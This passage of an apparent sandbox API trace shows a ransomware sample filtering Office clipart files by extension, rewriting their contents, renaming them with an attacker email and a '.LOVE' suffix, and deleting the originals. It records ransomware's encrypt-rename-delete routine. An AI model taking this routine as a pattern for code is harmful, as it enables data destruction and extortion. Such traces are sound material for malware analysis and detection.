[0220.492] lstrlenW (lpString=".bz2") returned 4 [0220.492] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.492] lstrlenW (lpString=".7z") returned 3 [0220.492] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0220.492] lstrlenW (lpString=".dbf") returned 4 [0220.492] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0220.492] lstrlenW (lpString=".1cd") returned 4 [0220.492] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0220.492] lstrlenW (lpString=".jpg") returned 4 [0220.492] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.493] GetLastError () returned 0x0 [0220.493] ReadFile (in: hFile=0x388, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x121a, lpOverlapped=0x0) returned 1 [0220.666] WriteFile (in: hFile=0x354, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x1220, lpOverlapped=0x0) returned 1 [0220.788] ReadFile (in: hFile=0x388, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0220.788] WriteFile (in: hFile=0x354, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0220.788] SetEndOfFile (hFile=0x354) returned 1 [0220.793] CloseHandle (hObject=0x354) returned 1 [0220.793] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0220.793] SetEndOfFile (hFile=0x388) returned 1 [0220.794] CloseHandle (hObject=0x388) returned 1 [0220.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 1 [0220.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0220.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0220.795] lstrlenW (lpString=".doc") returned 4 [0220.795] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.795] lstrlenW (lpString=".docx") returned 5 [0220.795] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.795] lstrlenW (lpString=".pdf") returned 4 [0220.795] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.795] lstrlenW (lpString=".xls") returned 4 [0220.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.796] lstrlenW (lpString=".xlsx") returned 5 [0220.796] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.796] lstrlenW (lpString=".ppt") returned 4 [0220.796] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0220.796] lstrlenW (lpString=".zip") returned 4 [0220.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.796] lstrlenW (lpString=".rar") returned 4 [0220.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.796] lstrlenW (lpString=".bz2") returned 4 [0220.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.796] lstrlenW (lpString=".7z") returned 3 [0220.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0220.796] lstrlenW (lpString=".dbf") returned 4 [0220.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0220.796] lstrlenW (lpString=".1cd") returned 4 [0220.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0220.796] lstrlenW (lpString=".jpg") returned 4 [0220.796] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.797] GetLastError () returned 0x0 [0220.797] ReadFile (in: hFile=0x33c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x284c, lpOverlapped=0x0) returned 1 [0220.810] WriteFile (in: hFile=0x388, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x2850, lpOverlapped=0x0) returned 1 [0220.811] ReadFile (in: hFile=0x33c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0220.812] WriteFile (in: hFile=0x388, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0220.812] SetEndOfFile (hFile=0x388) returned 1 [0220.812] CloseHandle (hObject=0x388) returned 1 [0220.812] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0220.812] SetEndOfFile (hFile=0x33c) returned 1 [0220.813] CloseHandle (hObject=0x33c) returned 1 [0220.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 1 [0220.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0220.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0220.818] lstrlenW (lpString=".doc") returned 4 [0220.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.818] lstrlenW (lpString=".docx") returned 5 [0220.818] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.818] lstrlenW (lpString=".pdf") returned 4 [0220.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.818] lstrlenW (lpString=".xls") returned 4 [0220.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.818] lstrlenW (lpString=".xlsx") returned 5 [0220.818] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.818] lstrlenW (lpString=".ppt") returned 4 [0220.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0220.818] lstrlenW (lpString=".zip") returned 4 [0220.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.819] lstrlenW (lpString=".rar") returned 4 [0220.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.819] lstrlenW (lpString=".bz2") returned 4 [0220.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.819] lstrlenW (lpString=".7z") returned 3 [0220.819] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0220.819] lstrlenW (lpString=".dbf") returned 4 [0220.819] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0220.819] lstrlenW (lpString=".1cd") returned 4 [0220.819] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0220.819] lstrlenW (lpString=".jpg") returned 4 [0220.819] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.819] GetLastError () returned 0x0 [0220.819] ReadFile (in: hFile=0x33c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x76ce, lpOverlapped=0x0) returned 1 [0220.830] WriteFile (in: hFile=0x388, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x76d0, lpOverlapped=0x0) returned 1 [0220.832] ReadFile (in: hFile=0x33c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0220.832] WriteFile (in: hFile=0x388, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0220.832] SetEndOfFile (hFile=0x388) returned 1 [0220.832] CloseHandle (hObject=0x388) returned 1 [0220.832] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0220.832] SetEndOfFile (hFile=0x33c) returned 1 [0220.832] CloseHandle (hObject=0x33c) returned 1 [0220.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.833] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 1 [0220.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0220.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0220.833] lstrlenW (lpString=".doc") returned 4 [0220.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.833] lstrlenW (lpString=".docx") returned 5 [0220.833] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.833] lstrlenW (lpString=".pdf") returned 4 [0220.833] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.833] lstrlenW (lpString=".xls") returned 4 [0220.834] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.834] lstrlenW (lpString=".xlsx") returned 5 [0220.834] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.834] lstrlenW (lpString=".ppt") returned 4 [0220.834] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0220.834] lstrlenW (lpString=".zip") returned 4 [0220.834] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.834] lstrlenW (lpString=".rar") returned 4 [0220.834] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.834] lstrlenW (lpString=".bz2") returned 4 [0220.834] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.834] lstrlenW (lpString=".7z") returned 3 [0220.834] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0220.834] lstrlenW (lpString=".dbf") returned 4 [0220.834] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0220.834] lstrlenW (lpString=".1cd") returned 4 [0220.834] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0220.834] lstrlenW (lpString=".jpg") returned 4 [0220.834] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.835] GetLastError () returned 0x0 [0220.835] ReadFile (in: hFile=0x33c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x79cc, lpOverlapped=0x0) returned 1 [0220.946] WriteFile (in: hFile=0x388, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x79d0, lpOverlapped=0x0) returned 1 [0220.948] ReadFile (in: hFile=0x33c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0220.948] WriteFile (in: hFile=0x388, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0220.948] SetEndOfFile (hFile=0x388) returned 1 [0220.948] CloseHandle (hObject=0x388) returned 1 [0220.948] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0220.948] SetEndOfFile (hFile=0x33c) returned 1 [0220.949] CloseHandle (hObject=0x33c) returned 1 [0220.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 1 [0220.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0220.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0220.950] lstrlenW (lpString=".doc") returned 4 [0220.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.950] lstrlenW (lpString=".docx") returned 5 [0220.950] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.950] lstrlenW (lpString=".pdf") returned 4 [0220.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.950] lstrlenW (lpString=".xls") returned 4 [0220.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.950] lstrlenW (lpString=".xlsx") returned 5 [0220.950] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.950] lstrlenW (lpString=".ppt") returned 4 [0220.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0220.950] lstrlenW (lpString=".zip") returned 4 [0220.950] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.950] lstrlenW (lpString=".rar") returned 4 [0220.950] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.950] lstrlenW (lpString=".bz2") returned 4 [0220.950] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.950] lstrlenW (lpString=".7z") returned 3 [0220.950] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0220.950] lstrlenW (lpString=".dbf") returned 4 [0220.950] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0220.950] lstrlenW (lpString=".1cd") returned 4 [0220.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0220.950] lstrlenW (lpString=".jpg") returned 4 [0220.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.964] GetLastError () returned 0x0 [0220.964] ReadFile (in: hFile=0x380, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xa4c, lpOverlapped=0x0) returned 1 [0221.000] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xa50, lpOverlapped=0x0) returned 1 [0221.001] ReadFile (in: hFile=0x380, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0221.001] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0221.001] SetEndOfFile (hFile=0x374) returned 1 [0221.002] CloseHandle (hObject=0x374) returned 1 [0221.002] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0221.002] SetEndOfFile (hFile=0x380) returned 1 [0221.003] CloseHandle (hObject=0x380) returned 1 [0221.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 1 [0221.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0221.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0221.004] lstrlenW (lpString=".doc") returned 4 [0221.004] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.004] lstrlenW (lpString=".docx") returned 5 [0221.004] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.004] lstrlenW (lpString=".pdf") returned 4 [0221.004] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.004] lstrlenW (lpString=".xls") returned 4 [0221.004] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.005] lstrlenW (lpString=".xlsx") returned 5 [0221.005] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.005] lstrlenW (lpString=".ppt") returned 4 [0221.005] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0221.005] lstrlenW (lpString=".zip") returned 4 [0221.005] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.005] lstrlenW (lpString=".rar") returned 4 [0221.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.005] lstrlenW (lpString=".bz2") returned 4 [0221.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.005] lstrlenW (lpString=".7z") returned 3 [0221.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0221.005] lstrlenW (lpString=".dbf") returned 4 [0221.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0221.005] lstrlenW (lpString=".1cd") returned 4 [0221.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0221.005] lstrlenW (lpString=".jpg") returned 4 [0221.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.006] GetLastError () returned 0x0 [0221.006] ReadFile (in: hFile=0x380, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x9a8, lpOverlapped=0x0) returned 1 [0221.036] WriteFile (in: hFile=0x330, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x9b0, lpOverlapped=0x0) returned 1 [0221.036] ReadFile (in: hFile=0x380, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0221.036] WriteFile (in: hFile=0x330, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0221.036] SetEndOfFile (hFile=0x330) returned 1 [0221.036] CloseHandle (hObject=0x330) returned 1 [0221.037] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0221.037] SetEndOfFile (hFile=0x380) returned 1 [0221.037] CloseHandle (hObject=0x380) returned 1 [0221.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.038] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 1 [0221.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0221.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0221.044] lstrlenW (lpString=".doc") returned 4 [0221.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.044] lstrlenW (lpString=".docx") returned 5 [0221.044] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.044] lstrlenW (lpString=".pdf") returned 4 [0221.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.044] lstrlenW (lpString=".xls") returned 4 [0221.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.044] lstrlenW (lpString=".xlsx") returned 5 [0221.044] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.044] lstrlenW (lpString=".ppt") returned 4 [0221.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0221.044] lstrlenW (lpString=".zip") returned 4 [0221.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.044] lstrlenW (lpString=".rar") returned 4 [0221.044] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.044] lstrlenW (lpString=".bz2") returned 4 [0221.044] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.044] lstrlenW (lpString=".7z") returned 3 [0221.044] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0221.044] lstrlenW (lpString=".dbf") returned 4 [0221.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0221.044] lstrlenW (lpString=".1cd") returned 4 [0221.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0221.044] lstrlenW (lpString=".jpg") returned 4 [0221.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.045] GetLastError () returned 0x0 [0221.045] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x7a8, lpOverlapped=0x0) returned 1 [0221.055] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x7b0, lpOverlapped=0x0) returned 1 [0221.056] ReadFile (in: hFile=0x374, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0221.056] WriteFile (in: hFile=0x2d8, 